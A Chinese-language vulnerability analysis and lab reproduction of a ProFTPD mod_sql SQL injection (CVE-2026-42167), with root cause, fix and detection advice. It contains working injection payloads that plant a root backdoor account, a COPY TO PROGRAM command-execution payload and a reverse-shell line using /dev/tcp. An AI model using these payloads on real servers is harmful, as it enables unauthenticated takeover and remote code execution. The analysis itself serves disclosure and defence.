mod_sql SQL 注入 / 认证绕过 / 远程代码执行独立复现、代码级根因分析,以及对 CVE-2026-42167 的坦诚暴露面分析——这是 ProFTPD mod_sql 日志管道中由 ZeroPath Research 披露、并在 ProFTPD 1.3.9a / 1.3.10rc1 中修复的 is_escaped_text() 绕过漏洞。
已在 Docker 中于 macOS / Apple Silicon 上端到端构建并验证,2026-04-29。
TL;DR — 在决定需要多担心之前,请先参阅 结论 了解真实的暴露面情况。这不是默认安装即存在的漏洞,但这种危险的引号模式正是上游文档建议你使用的模式,因此很大一部分
mod_sql部署都继承了该问题。
| 字段 | 值 |
|---|---|
| CVE | CVE-2026-42167 |
| CWE | CWE-89(SQL 注入)、CWE-78(操作系统命令注入 — 通过 PG COPY TO PROGRAM) |
| 受影响版本 | 带 mod_sql + SQLLog/SQLNamedQuery 的 ProFTPD ≤ 1.3.9,其格式字符串在单引号内插值了攻击者可控变量 |
| 修复版本 | 1.3.9a(af90843ba…)/ 1.3.10rc1,参见提交 e6f728481("Issue #2052") |
| 固定的漏洞提交 | ae25959adb05ae1d6ebfa1f36bf778c9c34e9410 |
| 漏洞文件 | contrib/mod_sql.c 第 741–758 行(is_escaped_text)及第 777 行(sql_resolved_append_text) |
| 原始披露 | https://zeropath.com/blog/proftpd-cve-2026-42167-auth-bypass-privesc-rce |
| 公开 PoC | https://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc |
| 发布说明 | http://www.proftpd.org/docs/RELEASE_NOTES-1.3.10rc1 |
contrib/mod_sql.c 中的 is_escaped_text() 启发式判断mod_sql 解析日志格式变量(%U、%{basename} 等),并通过 sql_resolved_append_text() 将每一段追加到渲染后的 SQL 中。为了保持与已用 '…' 包裹变量的管理员配置的向后兼容性,该函数会调用 is_escaped_text() 来决定是否需要 sql_escapestring:```c
/* contrib/mod_sql.c — vulnerable commit ae25959 */
741 static int is_escaped_text(const char text, size_t text_len) {
742 register unsigned int i;
743
744 if (text[0] != ''') return FALSE;
745 if (text[text_len-1] != ''') return FALSE;
746 for (i = 1; i < text_len-1; i++)
747 if (text[i] == ''') return FALSE;
748 return TRUE;
749 }
…
777 if (is_escaped_text(text, text_len) == FALSE) {
… / …sql_escapestring()… */
790 } else {
791 pr_trace_msg(trace_channel, 17,
792 "text '%s' is already escaped, skipping escaping it again", text);
793 new_text = (char *) text;
794 new_textlen = text_len;
795 }
该检查纯粹是结构性的——它无法区分*“已被可信代码转义”*与*“由攻击者精心构造以看似已转义”*。
任何客户端提供的、匹配`'<no-internal-quotes>'`的值都会跳过
`sql_escapestring`,并被直接拼接进最终查询。
标准、文档化的配置会将`%U` / `%{basename}` / `%m`包裹在单引号中:```
SQLNamedQuery log_activity INSERT "'%U', '%r', '%m'" activity_log
SQLLog ERR_* log_activity
当攻击者发送 USER '<payload>'(首尾各一个引号,内部无引号)时,解析器会未转义地替换 %U,在 SQL 中产生 ''<payload>'' —— 空字符串字面量闭合了周围的引号,<payload> 则作为原始 SQL 执行。对于 PostgreSQL(PQexec)和 SQLite(sqlite3_exec),支持堆叠查询,因此 <payload> 可以是任意语句序列。
由于 SQLLog ERR_* 在失败的登录时触发,且 %U 在认证之前由 USER 设置,因此该攻击完全无需认证。
e6f728481,"Issue #2052")sql_resolved_append_text() 新增了一个 already_escaped 参数。从客户端输入解析值的调用方传入 FALSE,现在无条件经过 sql_escapestring —— is_escaped_text() 启发式判断仍用于合法的“配置中已预转义值”路径,但不再适用于攻击者可控的数据。
+--------------------+ FTP 21 +-----------------------+ | attacker (host) | <--> 127.0.0.1:2121 | proftpd-poc-server | | python3 PoCs | | ProFTPD 1.3.9-pre | +--------------------+ | mod_sql_postgres | +-----------+-----------+ | libpq v +-----------------------+ | proftpd-poc-postgres | | PostgreSQL 15 | | role 'proftpd' = SU | +-----------------------+
- 两个容器通过 `setup/docker-compose.yml` 启动。
- `setup/proftpd.conf` 启用了易受攻击的日志配置(参见 §1)。
- `setup/seed.sql` 创建 `users`、`groups`、`activity_log`、`xfer_log` 和 `secrets` 表,外加一个合法的 FTP 用户 `ftpuser / ftppass`。
---
## 3. 复现 — 复制粘贴
前置条件:Docker Desktop、Python 3.10+、git。(`uv` 为可选;PoC 仅依赖标准库。)```bash
# 1) clone this repo
git clone https://github.com/dinosn/proftpd-CVE-2026-42167-analysis.git
cd proftpd-CVE-2026-42167-analysis/poc
# 2) build vulnerable proftpd + postgres in Docker
cd setup && ./setup.sh && cd ..
# - clones proftpd source pinned to ae25959a (vulnerable)
# - builds with --with-modules=mod_sql:mod_sql_postgres
# - starts both containers, waits for healthchecks
# 3) reproduce — pre-auth backdoor user (uid=0, homedir=/)
python3 pocs/preauth_user_backdoor.py --host localhost --port 2121
# 4) inspect the planted account
docker exec proftpd-poc-postgres psql -U proftpd -d proftpd \
-c "SELECT userid,uid,gid,homedir,shell FROM users;"
# 5) reproduce — post-auth STOR backdoor
docker exec proftpd-poc-postgres psql -U proftpd -d proftpd \
-c "DELETE FROM users WHERE userid='backdoor';"
python3 pocs/postauth_stor_backdoor.py \
--host localhost --port 2121 --user ftpuser --password ftppass
# 6) reproduce — pre-auth RCE proof (non-interactive, marker-file variant)
python3 pocs/preauth_rce_marker.py --host localhost --port 2121
docker exec proftpd-poc-postgres cat /tmp/cve-2026-42167-rce.txt
# 7) tear down
cd setup && ./teardown.sh
上游仓库中的两个交互式变体
(preauth_user_rce.py、postauth_stor_rce.py)未经修改,会弹出基于 PTY 的反向 shell。它们使用与标记变体相同的原语——只需将 shell 命令替换为 bash -i >& /dev/tcp/<host>/<port> 0>&1,并先监听 <port>。
USER 命令,%U)```USER ', null, null); INSERT INTO users VALUES($$backdoor$$, $$pwned123$$, 0, 0, $$/$$, $$/bin/bash$$); --' PASS x
为什么有效:
1. **外层引号 + 内部无引号** 匹配
`is_escaped_text()` → 转义被跳过。
2. 配置的 `SQLNamedQuery` 是 `INSERT "'%U', '%r', '%m'" activity_log`,
因此渲染后的 SQL 变为
`INSERT INTO activity_log VALUES('<payload>', '<%r>', '<%m>')` — 但
`<payload>` 本身以 `'` 开头,所以实际执行的查询是
`INSERT INTO activity_log VALUES('', null, null); INSERT INTO users
VALUES($$backdoor$$,…); --', '<%r>', '<%m>')`。
3. `--` 将尾部的格式槽位注释掉。
4. `$$…$$` PostgreSQL 美元引用让我们可以传递字符串(`backdoor`、
`pwned123`、`/`、`/bin/bash`)而无需使用 `'` — 从而保持
`is_escaped_text()` 绕过有效。
5. 登录失败时触发 `SQLLog ERR_*` → `PQexec()` 执行堆叠的
`INSERT INTO users` → 认证表中出现后门账户。
### 认证后后门(`STOR` 文件名,`%{basename}`)```
STOR ', null, null); INSERT INTO users VALUES($$backdoor$$, $$pwned123$$, 0, 0, chr(47), chr(47)); --'
相同的绕过,不同的触发方式。使用 chr(47) = '/' 是因为
FTP 会将文件名中的 / 解释为目录分隔符,因此
攻击者无法在文件名中放入字面意义上的 / —— chr() 让
后门账户无需在线上传输该字符即可获得 homedir = '/'。
USER + COPY TO PROGRAM)```USER ', null, null); COPY (SELECT $$x$$) TO PROGRAM $$$$; --' PASS x
| 文件 | 内容说明 |
|---|---|
| `logs/01_preauth_backdoor.log` | 预认证 PoC 输出,以 `backdoor` 身份登录成功(`230`) |
| `logs/02_db_users_after.log` | `users` 表现在包含 `backdoor / pwned123 / uid=0` |
| `logs/03_postauth_stor_backdoor.log` | 通过 STOR `%{basename}` 的认证后 PoC 输出 |
| `logs/05_preauth_rce_marker.log` | 通过 FTP 发送的标记载荷 |
| `logs/06_users_final.log` | 最终 `users` 表状态 |
| `logs/07_proftpd_trace.log` | ProFTPD 自身的跟踪日志,为每个注入载荷打印 `text '…' is already escaped, skipping escaping it again` —— 直接证明 `is_escaped_text()` 对攻击者输入返回 TRUE |
| `logs/08_rce_proof.log` | `/tmp/cve-2026-42167-rce.txt` 由 postgres 容器上的 *postgres 用户* 写入 |
| `screenshots/*.png` | 每个捕获终端会话的 PNG 渲染图 |
跟踪日志行就是确凿证据:```
2026-04-29 06:35:11,297 [548] <sql:17>: text '', null, null); INSERT INTO users
VALUES($$backdoor$$, $$pwned123$$, 0, 0, $$/$$, $$/bin/bash$$); --''
is already escaped, skipping escaping it again
该消息仅在is_escaped_text()返回TRUE时于contrib/mod_sql.c:791处发出——即恰好是绕过发生之时。
检测(对已部署服务器的取证):
grep "is already escaped, skipping escaping it again" /var/log/proftpd/trace.log
配合Trace sql:17启用后,可标记每次到达绕过点的注入尝试。activity_log(或SQLNamedQuery INSERT写入的任何表):用户名列以多余引号开头、包含null, null);、或包含INSERT/COPY TO PROGRAM/UPDATE的行均为证据。users表中是否存在uid=0、homedir='/'、或当策略要求使用/sbin/nologin时shell被设为真实shell的账户。